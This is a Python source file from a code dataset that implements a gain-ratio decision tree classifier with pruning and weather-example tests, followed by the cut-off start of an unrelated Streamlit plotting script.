TreeNode\n#\n# - Class to encapsulate a tree nodek\n#\t- data = data at this node in the tree\n#\t- feature_id = column idx of data chosen\n#\t- isLeaf = leaf node\n#\t- check_pruning = means need to try pruning this \n#\t- #NOTE, children dict keys are \"less_than\" and \"greater_than\" for continuous values\n#=============================\nclass TreeNode:\n\tdef __init__(self, data, feature_id, isLeaf, split_value=None, check_pruning=False):\n\t\tself.data = data #All of the data @ this node - useful for pruning!\n\t\tself.feature_id = feature_id #feature chosen\n\t\tself.split_value = split_value #Continuous values need to know where the binary split occured\n\t\tself.isLeaf = isLeaf #Leaf nodes are effectively classification nodes\n\t\tself.check_pruning = check_pruning #Whether the node should be considered for pruning\n\t\t#Children populated via build_tree\n\t\tself.children = dict() #NOTE, for continous values \"less_than\" & \"greater_than\" will be dict keys\n\n\t#=============================\n\t# get_classification()\n\t#\n\t#\t- return the classification as majority of class values in this data\n\t#=============================\n\tdef get_classification(self):\n\t\t# get the majority class of the data @ this node\n\t\t#\t\t- will provide easy way to prune!\n\t\t#\t\t\t- can \"fake\" a leaf node\n\t\tclasses = [row[-1] for row in self.data]\n\t\t#print('classes in node data')\n\t\t#print(classes)\n\t\tunique_classes = set(classes)\n\t\tunique_classes = list(unique_classes)\n\t\t#print('unique_classes in node data')\n\t\t#print(unique_classes)\n\t\tnumber_unique_classes = len(unique_classes)\n\t\t#Is this a fake or real leaf node\n\t\tif (number_unique_classes == 1):\n\t\t\t#True leaf node - only 1 class\n\t\t\treturn classes[0]\n\t\telse:\n\t\t\twinning_class = unique_classes[0]\n\t\t\twinning_class_count = 0\n\t\t\tfor unique_class in unique_classes:\n\t\t\t\tunique_class_count = classes.count(unique_class)\n\t\t\t\tif unique_class_count > winning_class_count:\n\t\t\t\t\twinning_class = unique_class\n\t\t\t\t\twinning_class_count = unique_class_count\n\t\t\treturn winning_class\n\n\n#=============================\n# ClassificationTree\n#\n# - Class to encapsulate a tree classification decision model for \n#=============================\nclass ClassificationTree(BaseModel) :\n\n\tLESS_THAN = 'less_than'\n\tGREATER_THAN = 'greater_than'\n\n\tdef __init__(self, data):\n\t\tBaseModel.__init__(self, data)\n\n\t#=============================\n\t# train()\n\t#\n\t#\t- train on the data set\n\t#=============================\n\tdef train(self, input_data=None):\n\t\tif input_data != None:\n\t\t\tself.data = input_data\n\t\tfeatures = list(range(len(self.data[0])-1)) #don't include the class col\n\t\t#print(features)\n\t\tself.tree = self.build_tree(self.data, features, 0)\n\t\treturn self.tree\n\n\t#=============================\n\t# build_tree()\n\t#\t- builds the internal classification tree\n\t#\t\t- called recursively\n\t#=============================\n\tdef build_tree(self, data, features_available, recursive_depth):\n\t\trecursive_depth = recursive_depth + 1\n\n\t\t#Sanity check\n\t\tif (recursive_depth > 9999):\n\t\t\tprint('Runaway Recursion!, exceeding max recursive depth', + recursive_depth)\n\t\t\treturn\n\n\t\t#Class stats - if they're all the same, this is leaf and recursion done\n\t\t#TODO: centralize this code? (tree node uses)\n\t\tclasses = [row[-1] for row in data]\n\t\t#print('classes')\n\t\t#print(classes)\n\t\tunique_classes = set(classes)\n\t\t#print('unique_classes')\n\t\t#print(unique_classes)\n\t\t#If there is only one class, you're done!\n\t\tnumber_unique_classes = len(unique_classes)\n\t\t#print('number_unique_classes')\n\t\t#print(number_unique_classes)\n\n\t\t#STOPPING POINT? - all classes are the same\n\t\tif (number_unique_classes == 1):\n\t\t\tisLeaf = True\n\t\t\tleaf_node = TreeNode(data, -1, isLeaf)\n\t\t\treturn leaf_node\n\n\t\t#STOPPING POINT? - no more features to select\n\t\tif (len(features_available) == 0):\n\t\t\tisLeaf = True\n\t\t\tleaf_node = TreeNode(data, -1, isLeaf)\n\t\t\treturn leaf_node\n\n\t\t#Winning feature based on highest gain ratio\n\t\tbest_feature= self.get_best_feature(data, features_available)\n\t\texample_best_feature_value = data[0][best_feature[0]]\n\n\t\t#CONTINUOUS FEATURE\n\t\t#TODO: isdigit will NOT work for float values, need something else?!\n\t\t# - one option is replace '.' w/ '' && replace '-' w/ '' then use isdigit\n\t\tif (is_continuous_value(example_best_feature_value)): \n\t\t\t#TODO: continous values\n\t\t\tsplit_value = best_feature[1] \n\t\t\tbest_feature = best_feature[0] \n\t\t\t#print('best_feature ', best_feature)\n\t\t\t#print('split_value ', split_value)\n\n\t\t\t#Create this node from the winning feature (column index)\n\t\t\tisLeaf = False\n\t\t\ttree_node = TreeNode(data, best_feature, isLeaf, split_value)\n\n\t\t\t#Less_than continuous values\n\t\t\tfeature_value_less_than_data = \\\n\t\t\t\t[row for row in data if float(row[best_feature]) <= split_value]\n\t\t\tfeatures_available_less_than = copy.deepcopy(features_available)\n\t\t\tfeature_values_less_than = [row[best_feature] for row in feature_value_less_than_data]\n\t\t\tunique_feature_values_less_than = set(feature_values_less_than)\n\n\t\t\t#If we are down to a partition of size 1 after a split, remove that feature from consideration\n\t\t\tif (len(unique_feature_values_less_than) <= 1):\n\t\t\t\tfeatures_available_less_than.remove(best_feature)\n\n\t\t\ttree_node.children[ClassificationTree.LESS_THAN] = self.build_tree(\n\t\t\t\tfeature_value_less_than_data, features_available_less_than, recursive_depth)\n\n\t\t\t#greater_than continuous values\n\t\t\tfeature_value_greater_than_data = \\\n\t\t\t\t[row for row in data if float(row[best_feature]) > split_value]\n\t\t\tfeatures_available_greater_than = copy.deepcopy(features_available)\n\t\t\tfeature_values_greater_than = [row[best_feature] for row in feature_value_greater_than_data]\n\t\t\tunique_feature_values_greater_than = set(feature_values_greater_than)\n\n\t\t\t#If we are down to a partition of size 1 after a split, remove that feature & create leaf node as child\n\t\t\tif (len(unique_feature_values_greater_than) <= 1):\n\t\t\t\tfeatures_available_greater_than.remove(best_feature)\n\n\t\t\ttree_node.children[ClassificationTree.GREATER_THAN] = self.build_tree(\n\t\t\t\tfeature_value_greater_than_data, features_available_greater_than, recursive_depth)\n\n\t\t#CATEGORICAL FEATURE\n\t\telse: \n\t\t\tbest_feature = best_feature[0] #second value is pointless\n\t\t\t#print('best_feature chosen this time: ', best_feature)\n\n\t\t\t#update features available by removing feature chosen\n\t\t\tfeatures_available.remove(best_feature)\n\t\t\t#print('features remaining:')\n\t\t\t#print(features_available)\n\n\t\t\t#Create this node from the winning feature (column index)\n\t\t\tisLeaf = False\n\t\t\ttree_node = TreeNode(data, best_feature, isLeaf)\n\n\t\t\t#Get the feature values which will be our edges/children\n\t\t\tfeature_values = [row[best_feature] for row in data]\n\t\t\t#print('chosen feature_values')\n\t\t\t#print(feature_values)\n\t\t\tunique_feature_values = set(feature_values)\n\t\t\t#print('unique_feature_values')\n\t\t\t#print(unique_feature_values)\n\n\t\t\t#Create sub trees (recursively)\n\t\t\tfor feature_value in unique_feature_values:\n\t\t\t\tfeature_value_data = [row for row in data if row[best_feature] == feature_value]\n\t\t\t\t#print('feature_value_data')\n\t\t\t\t#print(feature_value_data)\n\t\t\t\ttree_node.children[feature_value] = self.build_tree(\n\t\t\t\t\tfeature_value_data, features_available, recursive_depth)\n\n\t\treturn tree_node\n\n\t#=============================\n\t# get_best_feature()\n\t#\t- returns tuple:\n\t#\t\t- CATEGORICAL: (best_feature, None)\n\t#\t\t- CONTINUOUS: (best_feature, split_value)\n\t#=============================\n\tdef get_best_feature(self, data, features_available):\n\t\t#Information gain / information value\n\t\tbest_feature_performance = -1\n\t\tbest_feature = -1\n\t\tbest_feature_split = None #None for CATEGORICAL data but VALID for CONTINUOUS data\n\t\tfor feature in features_available:\n\t\t\t#print('feature (column) under examination')\n\t\t\t#print(feature)\n\t\t\tfeature_performance = self.calculate_gain_ratio(data, feature)\n\t\t\t#print('gain ratio ', feature_performance, ' for feature ', feature)\n\t\t\tif feature_performance[0] > best_feature_performance:\n\t\t\t\tbest_feature = feature\n\t\t\t\tbest_feature_performance = feature_performance[0]\n\t\t\t\tbest_feature_split = feature_performance[1]\n\t\t\t#print('best feature so far: ', best_feature, 'w/ ratio: ', best_feature_performance)\n\t\treturn (best_feature, best_feature_split)\n\t\n\t#=============================\n\t# calculate_gain_ratio()\n\t#=============================\n\tdef calculate_gain_ratio(self, data, feature):\n\t\tsplit_value = None\n\t\tbest_feature_split_value = None\n\t\tbest_feature_gain_ratio = 0\n\n\t\t#CONTINUOUS values try all splits and take the best one \n\t\tmax_splits = 99\n\t\tif (is_continuous_value(data[0][feature]) == True):\n\t\t\t#Get values for feature\n\t\t\tfeature_values = [row[feature] for row in data]\n\t\t\t#Get unique values for testing splits\n\t\t\tunique_feature_values_set = set(feature_values)\n\t\t\tunique_feature_values = list(unique_feature_values_set)\n\t\t\t#Sort values for feature\n\t\t\tunique_feature_values.sort()\n\t\t\t#keep track of best split_value\n\t\t\t#print('unique_feature_values')\n\t\t\t#print(unique_feature_values)\n\t\t\tsplit_counter = 0\n\t\t\tfor feature_idx in ( range(len(unique_feature_values) - 1) ): #Don't need the last value\n\t\t\t\tsplit_counter = split_counter + 1\n\t\t\t\tif split_counter >= max_splits:\n\t\t\t\t\tbreak\n\t\t\t\t#get midpoint value & next value\n\t\t\t\t#print('unique_feature_values')\n\t\t\t\t#print(unique_feature_values)\n\t\t\t\tsplit_value = float((float(unique_feature_values[feature_idx]) + float(unique_feature_values[feature_idx+1])) / 2.0)\n\t\t\t\t#calculate info_gain_ratio\n\t\t\t\t#Information gain / information value\n\t\t\t\tinfo_gain = self.calculate_information_gain(data, feature, split_value)\n\t\t\t\t#print('information gain ', info_gain, 'for feature ', feature)\n\t\t\t\tinfo_value = self.calculate_information_val(data, feature, split_value)\n\t\t\t\t#print('info value ', info_value, 'for feature ', feature)\n\t\t\t\tif info_value == 0:\n\t\t\t\t\tbreak\n\t\t\t\tgain_ratio = float(info_gain / info_value)\n\t\t\t\t#Keep track of largest info_gain_ratio & \"split value\"\n\t\t\t\tif gain_ratio > best_feature_gain_ratio:\n\t\t\t\t\tbest_feature_gain_ratio = gain_ratio\n\t\t\t\t\tbest_feature_split_value = split_value\n\n\t\t#CATEGORICAL Feature\n\t\telse: \n\t\t\t#Information gain / information value\n\t\t\tinfo_gain = self.calculate_information_gain(data, feature)\n\t\t\t#print('information gain ', info_gain, 'for feature ', feature)\n\t\t\tinfo_value = self.calculate_information_val(data, feature)\n\t\t\t#print('info value ', info_value, 'for feature ', feature)\n\t\t\tif info_value != 0:\n\t\t\t\tbest_feature_gain_ratio = float(info_gain / info_value)\n\t\treturn (best_feature_gain_ratio, best_feature_split_value)\n\n\t#=============================\n\t# calculate_information_gain()\n\t#=============================\n\tdef calculate_information_gain(self, data, feature, split_value=None):\n\t\tinformation = self.calculate_information(data)\n\t\t#print('information (total) ', information, 'for feature', feature)\n\t\tentropy = self.calculate_entropy(data, feature, split_value)\n\t\t#print('entropy (total) ', entropy, 'for feature', feature)\n\t\treturn float(information - entropy)\n\n\t#=============================\n\t# calculate_information()\n\t#=============================\n\tdef calculate_information(self, data):\n\t\ttotal_info_val = 0\n\t\tclasses = [row[-1] for row in data]\n\t\tnum_class_vals = len(classes)\n\t\tunique_classes = set(classes)\n\t\tfor a_class in unique_classes:\n\t\t\tnumber_of_a_class = classes.count(a_class)\n\t\t\tif num_class_vals == 0:\n\t\t\t\tbreak\n\t\t\tratio = float(number_of_a_class / num_class_vals)\n\t\t\tclass_info_val = ratio * math.log(ratio, 2)\n\t\t\ttotal_info_val = total_info_val + class_info_val\n\n\t\treturn float(-1.0 * total_info_val)\n\n\t#=============================\n\t# calculate_entropy()\n\t#=============================\n\tdef calculate_entropy(self, data, feature, split_value=None):\n\t\t#TODO: centralize & do this once: repeated in calc entropy\n\t\ttotal_feature_entropy = 0\n\t\ttotal_num_class_values = len(data)\n\n\t\t#CATEGORICAL Values\n\t\tif split_value == None:\n\t\t\tfeature_values = [row[feature] for row in data]\n\t\t\t#print('feature_values')\n\t\t\t#print(feature_values)\n\t\t\tunique_feature_values = set(feature_values)\n\t\t\t#print('unique_feature_values')\n\t\t\t#print(unique_feature_values)\n\t\t\tfor feature_value in unique_feature_values:\n\t\t\t\t#Get dataset for this feature:\n\t\t\t\tfeature_data = [row for row in data if row[feature] == feature_value]\n\t\t\t\t#if this partition is ever EMPTY totally disqualify this feature\n\t\t\t\tif len(feature_data) == 0:\n\t\t\t\t\ttotal_feature_entropy = 999; #Should ensure this feature is NOT chosen\n\t\t\t\t\treturn total_feature_entropy\n\t\t\t\tfeature_data_info = self.calculate_information(feature_data)\n\t\t\t\tclass_values_in_feature_subset = len(feature_data)\n\t\t\t\tratio = class_values_in_feature_subset/total_num_class_values\n\t\t\t\ttotal_feature_entropy = total_feature_entropy + float(ratio * feature_data_info)\n\t\t\t#TODO: account for possibly no feature being chosen?!\n\n\t\t#CONTINUOUS Values\n\t\telse: #CONTINUOUS Values\n\t\t\t#Get partitions of data, less-than & greater-than\n\t\t\tless_than_feature_data = [row for row in data if float(row[feature]) <= split_value]\n\t\t\tgreater_than_feature_data = [row for row in data if float(row[feature]) > split_value]\n\n\t\t\t#if either partition is ever EMPTY totally disqualify this split\n\t\t\tif len(less_than_feature_data) == 0 or len(greater_than_feature_data) == 0:\n\t\t\t\ttotal_feature_entropy = 999; #Should ensure this feature is NOT chosen\n\t\t\t\treturn total_feature_entropy\n\n\t\t\t#Less Than Partition Entropy\n\t\t\tless_than_feature_data_info = self.calculate_information(less_than_feature_data)\n\t\t\tless_than_class_values_in_feature_subset = len(less_than_feature_data)\n\t\t\tless_than_ratio = less_than_class_values_in_feature_subset/total_num_class_values\n\t\t\ttotal_feature_entropy = total_feature_entropy + float(less_than_ratio * less_than_feature_data_info)\n\n\t\t\t#Greater Than Partition Entropy\n\t\t\tgreater_than_feature_data_info = self.calculate_information(greater_than_feature_data)\n\t\t\tgreater_than_class_values_in_feature_subset = len(greater_than_feature_data)\n\t\t\tgreater_than_ratio = greater_than_class_values_in_feature_subset/total_num_class_values\n\t\t\ttotal_feature_entropy = total_feature_entropy + float(greater_than_ratio * greater_than_feature_data_info)\n\n\t\treturn total_feature_entropy\n\n\t#=============================\n\t# calculate_information_value()\n\t#=============================\n\tdef calculate_information_val(self, data, feature, split_value=None):\n\t\t#TODO: centralize & do this once: repeated in calc entropy\n\t\ttotal_info_value = 0.0\n\t\ttotal_class_values = len(data)\n\n\t\t#Continuous Values\n\t\tif split_value != None:\n\t\t\t#get Less than & greater than feature data\n\t\t\tless_than_feature_data = [row for row in data if float(row[feature]) <= split_value]\n\t\t\tgreater_than_feature_data = [row for row in data if float(row[feature]) > split_value]\n\n\t\t\t#if either partition is ever EMPTY totally disqualify this split\n\t\t\tif len(less_than_feature_data) == 0 or len(greater_than_feature_data) == 0:\n\t\t\t\ttotal_feature_entropy = 999; #Should ensure this feature is NOT chosen\n\t\t\t\treturn total_feature_entropy\n\n\t\t\t#Less Than Partition Entropy\n\t\t\tless_than_class_values_in_feature_subset = len(less_than_feature_data)\n\t\t\tless_than_ratio = float(less_than_class_values_in_feature_subset/total_class_values)\n\t\t\ttotal_info_value = float(total_info_value + (less_than_ratio * math.log(less_than_ratio, 2)))\n\n\t\t\t#Greater Than Partition Entropy\n\t\t\tgreater_than_class_values_in_feature_subset = len(greater_than_feature_data)\n\t\t\tgreater_than_ratio = float(greater_than_class_values_in_feature_subset/total_class_values)\n\t\t\ttotal_info_value = float(total_info_value + (less_than_ratio * math.log(greater_than_ratio, 2)))\n\n\t\t#CATEGORICAL Values\n\t\telse:\n\t\t\tfeature_values = [row[feature] for row in data]\n\t\t\tunique_feature_values = set(feature_values)\n\t\t\t#print('unique_feature_values')\n\t\t\t#print(unique_feature_values)\n\t\t\tfor feature_value in unique_feature_values:\n\t\t\t\t#Get dataset for this feature:\n\t\t\t\tfeature_data = [row for row in data if row[feature] == feature_value]\n\t\t\t\tclass_values_in_feature_subset = len(feature_data)\n\t\t\t\tratio = float(class_values_in_feature_subset/total_class_values)\n\t\t\t\ttotal_info_value = float(total_info_value + (ratio * math.log(ratio, 2)))\n\n\t\treturn float(-1 * total_info_value)\n\n\t#=============================\n\t# validate()\n\t#\n\t#\t- validate the data, i.e. prune or optimize for generalization\n\t#=============================\n\tdef validate(self, validation_data):\n\t\t#Get original tree performance\n\t\tbest_performance = self.test(validation_data)\n\t\t#print('best_performance before validation')\n\t\t#print(best_performance)\n\t\tprior_best_performance = 0\n\t\twhile prior_best_performance < best_performance:\n\t\t\tprior_best_performance = best_performance\n\t\t\t#Mark every node for pruning\n\t\t\tself.mark_non_leaves_for_pruning(self.tree)\n\t\t\t#Prune - fast() -> find a subtree which is better!\n\t\t\t#print('best_performance before pruning')\n\t\t\t#print(best_performance)\n\t\t\tbest_performance = self.prune_tree(validation_data, self.tree, prior_best_performance)\n\t\t\t#print('best_performance after pruning')\n\t\t\t#print(best_performance)\n\n\t\treturn best_performance\n\n\t#=============================\n\t# mark_non_leaves_for_pruning()\n\t#\n\t#\t- mark all non-leaves for pruning\n\t#\n\t#@param\t\ttest_data to evaluat\t\n\t#@return\tvalue of performance as percent class error\n\t#=============================\n\tdef mark_non_leaves_for_pruning(self, root_node):\n\t\tif root_node.isLeaf == True:\n\t\t\treturn\n\t\telse:\n\t\t\troot_node.check_pruning = True\n\t\t\tfor child_key in root_node.children:\n\t\t\t\tself.mark_non_leaves_for_pruning(root_node.children[child_key])\n\n\t#=============================\n\t# prune_tree()\n\t#\n\t#\t- find sub trees which outperform the original & make them the actaul tree\n\t#\t- assumes nodes have already been marked for pruning\n\t#\n\t#@param\t\ttest_data to evaluat\t\n\t#@return\tvalue of performance as percent class error\n\t#=============================\n\tdef prune_tree(self, test_data, root_node, best_prior_performance):\n\t\t#Get the next node fo pruning\n\t\tpruning_node = self.get_next_pruning_node(root_node)\n\t\t#get next node to prune\n\t\twhile pruning_node != None:\n\t\t\t#Stopping point - have pruned all nodes!\n\n\t\t\t#Set the node as a leaf, thereby effectively \"pruning\" all its children\n\t\t\tpruning_node.isLeaf = True\n\t\t\tfeature_id = pruning_node.feature_id\n\t\t\tpruning_node.feature_id = -1\n\n\t\t\t#Get this tree's performance\n\t\t\tbest_performance = self.test(test_data)\n\n\t\t\t#Clear the node from pruning\n\t\t\tpruning_node.check_pruning = False\n\n\t\t\t#We found a better overall tree! \n\t\t\tif best_performance > best_prior_performance:\n\t\t\t\treturn best_performance\n\n\t\t\t#Reset the node/sub-tree\n\t\t\tpruning_node.isLeaf = False\n\t\t\tpruning_node.feature_id = feature_id\n\t\t\t#Get the next node fo pruning\n\t\t\tpruning_node = self.get_next_pruning_node(root_node)\n\n\t\t#At this point, we would have returned if we had a better performance\n\t\treturn best_prior_performance\n\n\t#=============================\n\t# get_node()\n\t#\n\t#\t- get the given node \n\t#\n\t#@param\t\tnode_number\tnumber of the node\n\t#@return\tTreeNode selected (None, if DNE)\n\t#=============================\n\tdef get_node(self, node_number, node, node_id=0):\n\t\tif node_number == node_id:\n\t\t\treturn node\n\t\telif node.isLeaf == True:\n\t\t\treturn None\n\t\telse:\n\t\t\tfor child_key in node.children:\n\t\t\t\twinning_node = self.get_node(node_number, node.children[child_key], node_id+1)\n\t\t\t\tif winning_node != None:\n\t\t\t\t\treturn winning_node\n\t\t\treturn None\n\n\t#=============================\n\t# get_next_pruning_node()\n\t#\n\t#\t- get the next available node for pruning\n\t#\n\t#@param\t\troot_node\troot of tree to analyze\n\t#@return\tnext node for pruning or None if DNE\n\t#=============================\n\tdef get_next_pruning_node(self, node):\n\t\tif node.check_pruning == True:\n\t\t\treturn node\n\t\telif node.isLeaf == True:\n\t\t\treturn None\n\t\telse:\n\t\t\tfor child_key in node.children:\n\t\t\t\tpruning_node = self.get_next_pruning_node(node.children[child_key])\n\t\t\t\tif pruning_node != None:\n\t\t\t\t\treturn pruning_node\n\t\t\treturn None\n\n\t#=============================\n\t# test()\n\t#\n\t#\t- test the model \n\t#\n\t#@param\t\ttest_data to evaluat\t\n\t#@return\tvalue of performance as percent class error\n\t#=============================\n\tdef test(self, test_data):\n\t\t#TODO: Traverse the tree\n\t\t#\t- will require separate logic for category vs. numeric\n\t\t#\t- will be recursive?\n\t\ttotal_classifications = 0\n\t\tcorrect_classifications = 0\n\t\t#Analyze each row separately\n\t\tfor row in test_data:\n\t\t\t#print('testing row: ', row)\n\t\t\tnode = self.tree\n\t\t\t#print('root node:')\n\t\t\t#print(test_data[0][node.feature_id])\n\t\t\twhile node.isLeaf != True:\n\t\t\t\tvalue = row[node.feature_id]\n\n\t\t\t\t#CONTINUOUS Value\n\t\t\t\tif is_continuous_value(value) == True:\n\t\t\t\t\tif float(value) <= node.split_value:\n\t\t\t\t\t\tnode = node.children[ClassificationTree.LESS_THAN]\n\t\t\t\t\telse:\n\t\t\t\t\t\tnode = node.children[ClassificationTree.GREATER_THAN]\n\n\t\t\t\t#CATEGORICAL Value\n\t\t\t\telse:\n\t\t\t\t\t#Categorical values may NOT exist in a certain partition \n\t\t\t\t\t#\tand therefore not be present as a child. \n\t\t\t\t\t#\tIf this is the case, simply end at that node\n\t\t\t\t\t#\t- unlinke continuous values \n\t\t\t\t\t#\t\t(which will always be < or > thus have a node in the tree)\n\t\t\t\t\tnode_children = node.children\n\t\t\t\t\tif value not in node_children:\n\t\t\t\t\t\t#print('No child created for this value: \"', value, '\" likely not seen during training (in a given partition)')\n\t\t\t\t\t\t#print('node children:')\n\t\t\t\t\t\t#print(node_children)\n\t\t\t\t\t\tbreak\n\n\t\t\t\t\tprev_node = node\n\t\t\t\t\tnode = node.children[value]\n\n\t\t\t\tif node is None:\n\t\t\t\t\tprint('Never seen this value ', value, 'before, cant classify traverse tree')\n\t\t\t\t\tnode = prev_node\n\t\t\t\t\tbreak\n\t\t\t\n\t\t\tmodel_classification = node.get_classification()\n\t\t\t#print('model classification: ', model_classification)\n\t\t\tdata_classification = row[-1]\n\t\t\t#print('data classification: ', data_classification)\n\t\t\tif (model_classification == data_classification):\n\t\t\t\tcorrect_classifications = correct_classifications + 1\n\t\t\ttotal_classifications = total_classifications + 1\n\t\t\t#print('total_classifications')\n\t\t\t#print(total_classifications)\n\n\t\treturn float( (correct_classifications / total_classifications) * 100)\n\n\t#=============================\n\t# print_tree()\n\t#\n\t#\t- print the tree \n\t#\n\t#@param\t\troot node\n\t#@return\tstring representation of the tree\n\t#=============================\n\tdef print_tree(self):\n\t\tstring = \"\"\n\t\tstring = self.get_tree_as_string(self.tree )\n\t\treturn string\n\n\t#=============================\n\t# get_size_of_tree()\n\t#\n\t#\t- count the nodes, including leaves\n\t#\n\t#@param\t\troot node\n\t#@return\tstring representation of the tree\n\t#=============================\n\tdef get_size_of_tree(self, node=None):\n\t\tif node == None:\n\t\t\tnode = self.tree\n\t\tif node.isLeaf == True:\n\t\t\treturn 1\n\t\telse:\n\t\t\tsize_subtree = 1\n\t\t\tfor child_key in node.children:\n\t\t\t\tsize_subtree = size_subtree + self.get_size_of_tree(node.children[child_key])\n\t\treturn size_subtree\n\n\t#=============================\n\t# get_tree_as_string()\n\t#\n\t#\t- print the tree \n\t#\n\t#@param\t\troot node\n\t#@return\tstring representation of the tree\n\t#=============================\n\tdef get_tree_as_string(self, node ):\n\t\tif node.isLeaf == True:\n\t\t\tstring = '{' + str(node.feature_id) + '}'\n\t\t\treturn string\n\t\telse:\n\t\t\tstring = ' { ' + str(node.feature_id) + ': '\n\t\t\tfor child_key in node.children:\n\t\t\t\tstring = string + self.get_tree_as_string(node.children[child_key])\n\t\t\tstring = string + ' } '\n\t\treturn string\n\n\n\n#=============================\n# MAIN PROGRAM\n#=============================\ndef main():\n\tprint('Main() - testing test model')\n\n\tprint()\n\tprint('TEST 1: Lecture Example ')\n\tprint('NOTE: class ex. uses INFO GAIN, NOT GAIN RATIO - possibly diff. results')\n\n\tprint('Training data:')\n\ttest_data = [ \\\n\t\t\t['Sunny', 'Hot', 'High', 'False', 'N'],\n\t\t\t['Sunny', 'Hot', 'High', 'True', 'N'],\n\t\t\t['Overcast', 'Hot', 'High', 'False', 'P'],\n\t\t\t['Rainy', 'Mild', 'High', 'False', 'P'],\n\t\t\t['Rainy', 'Cool', 'Normal', 'False', 'P'],\n\t\t\t['Rainy', 'Cool', 'Normal', 'True', 'N'],\n\t\t\t['Overcast', 'Cool', 'Normal', 'True', 'P'],\n\t\t\t['Sunny', 'Mild', 'High', 'False', 'N'],\n\t\t\t['Sunny', 'Cool', 'Normal', 'False', 'P'],\n\t\t\t['Rainy', 'Mild', 'Normal', 'False', 'P'],\n\t\t\t['Sunny', 'Mild', 'Normal', 'True', 'P'],\n\t\t\t['Overcast', 'Mild', 'High', 'True', 'P'],\n\t\t\t['Overcast', 'Hot', 'Normal', 'False', 'P'], \n\t\t\t['Rainy', 'Mild', 'High', 'True', 'N'] \\\n\t\t\t]\n\tfor line in test_data:\n\t\tprint(line)\n\n\tvalidation_data = [ \\\n\t\t\t['Sunny', 'Hot', 'High', 'False', 'N'],\n\t\t\t['Sunny', 'Hot', 'High', 'True', 'N'],\n\t\t\t['Sunny', 'Mild', 'High', 'False', 'N'],\n\t\t\t['Sunny', 'Cool', 'Normal', 'False', 'N'],\n\t\t\t['Sunny', 'Mild', 'Normal', 'True', 'N'],\n\t\t\t['Rainy', 'Mild', 'Normal', 'False', 'P'],\n\t\t\t['Rainy', 'Mild', 'High', 'True', 'P'],\n\t\t\t['Rainy', 'Mild', 'High', 'False', 'P'],\n\t\t\t['Rainy', 'Cool', 'Normal', 'False', 'P'],\n\t\t\t['Rainy', 'Cool', 'Normal', 'True', 'P'] \\\n\t\t\t]\n\n\tprint()\n\tprint('Validation data (created to trigger pruning):')\n\tfor line in validation_data:\n\t\tprint(line)\n\n\tclassification_tree = ClassificationTree(test_data)\n\tclassification_tree.train()\n\ttree = classification_tree.print_tree()\n\ttree_size = classification_tree.get_size_of_tree()\n\n\tprint()\n\tprint('The Tree (values are columns of data, i.e. features - \"-1\" is a leaf):')\n\tprint(tree)\n\tprint('Tree size:')\n\tprint(tree_size)\n\n\t#percent_accurate = classification_tree.test(test_data)\n\tpercent_accurate = classification_tree.test(validation_data)\n\tprint()\n\tprint('Model Accuracy:', percent_accurate, '%')\n\n\tprint()\n\tprint('VALIDATION (prune tree if possible to improve performance)')\n\n\tvalidation_performance = classification_tree.validate(validation_data)\n\n\ttree = classification_tree.print_tree()\n\ttree_size = classification_tree.get_size_of_tree()\n\n\tprint()\n\tprint('The Tree (after validation i.e. pruning)')\n\tprint(tree)\n\tprint('Tree size:')\n\tprint(tree_size)\n\n\tprint()\n\tprint('Validated Model Accuracy:', validation_performance, '%')\n\tprint()\n\n\t#TEST2 - CONTINUOUS VALUES\n\tprint()\n\tprint('TEST 2: Continuous Data Example')\n\tprint('Training data:')\n\ttest_data2 = [ \\\n\t\t\t['Sunny', '3', 'High', '1', 'N'],\n\t\t\t['Sunny', '3', 'High', '2', 'N'],\n\t\t\t['Overcast', '3', 'High', '1', 'P'],\n\t\t\t['Rainy', '2', 'High', '1', 'P'],\n\t\t\t['Rainy', '1', 'Normal', '1', 'P'],\n\t\t\t['Rainy', '1', 'Normal', '2', 'N'],\n\t\t\t['Overcast', '1', 'Normal', '2', 'P'],\n\t\t\t['Sunny', '2', 'High', '1', 'N'],\n\t\t\t['Sunny', '1', 'Normal', '1', 'P'],\n\t\t\t['Rainy', '2', 'Normal', '1', 'P'],\n\t\t\t['Sunny', '2', 'Normal', '2', 'P'],\n\t\t\t['Overcast', '2', 'High', '2', 'P'],\n\t\t\t['Overcast', '3', 'Normal', '1', 'P'], \\\n\t\t\t['Rainy', '2', 'High', '2', 'N'] \\\n\t\t\t]\n\n\tfor line in test_data2:\n\t\tprint(line)\n\tprint()\n\n\tvalidation_data2 = [ \\\n\t\t\t['Sunny', '3', 'High', '1', 'N'],\n\t\t\t['Sunny', '3', 'High', '2', 'N'],\n\t\t\t['Sunny', '2', 'High', '1', 'N'],\n\t\t\t['Sunny', '1', 'Normal', '1', 'N'],\n\t\t\t['Sunny', '2', 'Normal', '2', 'N'],\n\t\t\t['Rainy', '2', 'Normal', '1', 'P'],\n\t\t\t['Rainy', '2', 'High', '2', 'P'],\n\t\t\t['Rainy', '2', 'High', '1', 'P'],\n\t\t\t['Rainy', '1', 'Normal', '1', 'P'],\n\t\t\t['Rainy', '1', 'Normal', '2', 'P'] \\\n\t\t\t]\n\n\tprint()\n\tprint('Validation data (created to trigger pruning):')\n\tfor line in validation_data2:\n\t\tprint(line)\n\n\tclassification_tree2 = ClassificationTree(test_data2)\n\tclassification_tree2.train()\n\ttree2 = classification_tree2.print_tree()\n\ttree_size2 = classification_tree2.get_size_of_tree()\n\n\tprint()\n\tprint('The Tree (values are columns of data, i.e. features - \"-1\" is a leaf):')\n\tprint(tree2)\n\tprint('Tree size:')\n\tprint(tree_size2)\n\n\t#percent_accurate = classification_tree.test(test_data)\n\tpercent_accurate2 = classification_tree2.test(validation_data2)\n\tprint()\n\tprint('Model Accuracy:', percent_accurate, '%')\n\n\tprint()\n\tprint('VALIDATION (prune tree if possible to improve performance)')\n\n\tvalidation_performance2 = classification_tree2.validate(validation_data2)\n\n\ttree2 = classification_tree2.print_tree()\n\ttree_size2 = classification_tree2.get_size_of_tree()\n\tprint()\n\tprint('The Tree (after validation i.e. pruning)')\n\tprint(tree2)\n\tprint('Tree size:')\n\tprint(tree_size2)\n\n\tprint()\n\tprint('Validated Model Accuracy:', validation_performance2, '%')\n\n\n''' COMMENTED OUT FOR SUBMITTAL\nif __name__ == '__main__':\n\tmain()\n\t'''\n","sub_path":"algorithms/classification_tree.py","file_name":"classification_tree.py","file_ext":"py","file_size_in_byte":28509,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"31"} +{"seq_id":"631513703","text":"import streamlit as st\nimport inspect\nimport plotly.graph_objects as go\nimport numpy as np\n\ndef plot_1d_functions(function, x_range):\n x = np.linspace(x_range[0], x_range[1], 